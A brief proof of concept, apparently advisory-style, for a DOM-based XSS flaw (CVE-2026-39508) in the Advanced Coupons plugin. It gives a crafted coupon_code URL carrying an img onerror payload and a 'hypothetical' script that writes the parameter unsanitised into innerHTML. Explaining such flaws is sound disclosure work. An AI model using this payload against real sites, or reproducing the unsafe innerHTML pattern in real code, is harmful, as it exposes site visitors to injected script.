CVE-2026-39508 Advanced Coupons DOM型XSS漏洞

<!-- Proof of Concept for CVE-2026-39508 --> <!-- Scenario: The plugin takes a coupon code from the URL and displays it without sanitization --> <!-- 1. Attacker constructs the following URL --> <!-- https://example.com/shop/?coupon_code="><img src=x onerror=alert(1)> --> <!-- 2. Vulnerable JavaScript logic in the plugin (Hypothetical) --> <script> // Get parameter from URL const urlParams = new URLSearchParams(window.location.search); const couponCode = urlParams.get('coupon_code'); // Vulnerable sink: Directly inserting user input into the DOM if (couponCode) { document.getElementById('coupon-display').innerHTML = 'Applied Coupon: ' + couponCode; // The above line will execute the JavaScript alert(1) } </script> <!-- 3. HTML Element that gets modified --> <div id="coupon-display"></div>